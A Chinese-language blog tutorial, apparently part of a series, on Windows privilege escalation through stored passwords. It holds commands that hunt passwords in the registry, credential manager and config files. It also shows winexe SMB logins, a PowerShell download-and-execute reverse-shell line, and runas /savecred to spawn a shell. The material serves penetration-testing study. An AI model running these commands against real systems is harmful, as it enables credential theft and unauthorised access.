Day37 - Windows 提权(8)-提权手法统整 Password 密码相关

与 Password 密码相关的 Windows 提权手法

  1. 储存与注册表中的明文密码
  2. 储存於 powershell 中的密码
  3. 储存於系统中的密码
  4. 储存设定档中的密码

注册表

储存与注册表中的明文密码

step1. 搜寻注册表内是否有 password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

step2. 直接透过 winpeas 寻找
透过 winpeas winpeas.exe quiet filesinfouserinfo 可以在结果中找到 Looking for Autorun credentials 发现可利用的 Autorun credentialsPutty session其中还有帐号密码。

可透过注册表验证
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

如果该帐号密码是管理者权限(admin 或 administrator)可透过这些帐号密码进行提升权限,如登入 SMB 服务。

使用攻击机的 winexe 指令可以在 Linux 中执行 Windows 指令,并透过 SMB 进行登入:
winexe -U '帐号%密码' //<受害主机IP> cmd.exe

或透过参数 --system 获得系统的权限:
winexe -U '帐号%密码' --system //<受害主机IP> cmd.exe

powershell

储存於 powershell 中的密码

step1. 搜寻注册表内是否有 password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

step2. 执行脚本自动搜寻
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

Start-Process -FilePath "powershell" -argumentlist "iex(new-object net.webclient).downloadString('脚本路径/Invoke-PowerShellTcp.ps1')" -Credential $cred

储存於系统中的密码

step1. 直接透过 winpeas 寻找
透过 winpeas winpeas.exe quiet cmd windowscreds 可以在结果中找到 Checking Credential manage() 发现可利用的 Currently stored credentials 帐号密码。

step2. 透过 cmdkey 列出处存的使用者帐号与密码
cmdkey /list
Windows Server 适用版本(Windows Server 2022、Windows Server 2019、Windows Server 2016、Windows Server 2012 R2、Windows Server 2012) 可使用 cmdkey 指令。

指令 cmdkey 可以建立、列出和删除储存的使用者名称和密码或认证。

参数 说明
/list 列出所有储存的帐号密码
/add:<target> 新增到指定目标
/generic:<target> 加入通用的帐号密码到目标
/smartcard 是否要从智慧卡找到密码
/user:<username> 要储存的帐号
/pass:<password> 要储存的密码

step3. 执行 runas 执行 revershell
runas /savecred /user:admin <要执行的程序路径>
指令 runas 允许使用者以与使用者当前登录提供的权限於不同的权限运行特定工具和程序。

参数 说明
/savecred 使用储存过的密码
/user:帐号 指定程序执行的使用者名称
/profile 载入使用者资料,为预设值
/no profile 不加载使用者资料,可以加速加载资料
/env 使用目前网路环境非使用者本地环境
/netonly 指定的使用者资讯仅用於远端存取
/smartcard 是否要从智慧卡找到密码
/showtrustlevels 列出/trustlevel选项,查看可用的级别
/trustlevel 指定程序执行的授权级别
/? 显示帮助清单

帐号格式:user@domain 或 Domain\User

储存设定档中的密码

step1. 找密码

dir /s *pass* == *.config
findstr /si password *.xml *.ini *.txt

step2. 透过 winpeas 寻找
透过 winpeas winpeas.exe quiet cmd searchfast filesinfo 可以在结果中找到 Searching known files that can contain creds 发现可利用的帐号密码。

step3. 确认设定档内容
type <档案路径>

step4. 或是使用 metasploit 模组
meterpreter > run post/windows/gather/enum_unattend

该模组会去搜寻以下的路径:
可参考原始码

C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep\Unattend.xml
C:\Windows\system32\sysprep\Panther\Unattend.xml

<<:  Day37 ATT&CK for ICS - Impact(3)

>>:  JS 37 - 滚动网页即自动浮现元素

Day 5:浅谈警报 (alert) 的设计

前天使用 updown.io 架设了 status page,并且让它可以在服务无法连上的时候,自动...

自我背景介绍

大家好..小弟在下我是机械系背景的..... 因为对机械系没有太大的兴趣...所以就半路转换跑道了 ...

事件检视器的使用介绍(一)--Windows内建的日志查看程序

今天正式进入Windows的事件检视器了,先来看懂这项工具吧,首先我们按Win+X显示功能表,再按V...

企业资料通讯Week5 (4) |DNS (网域名称系统)[一]

甚麽是 DNS? 想知道更深:鸟哥的 Linux 私房菜|第十九章、主机名称控制者: DNS 服务器...

视觉化KBARS(5)-1分k展示

前面把java跟python部分完成後, 接下来要继续写js和html的步骤来完成1分k视觉化。 (...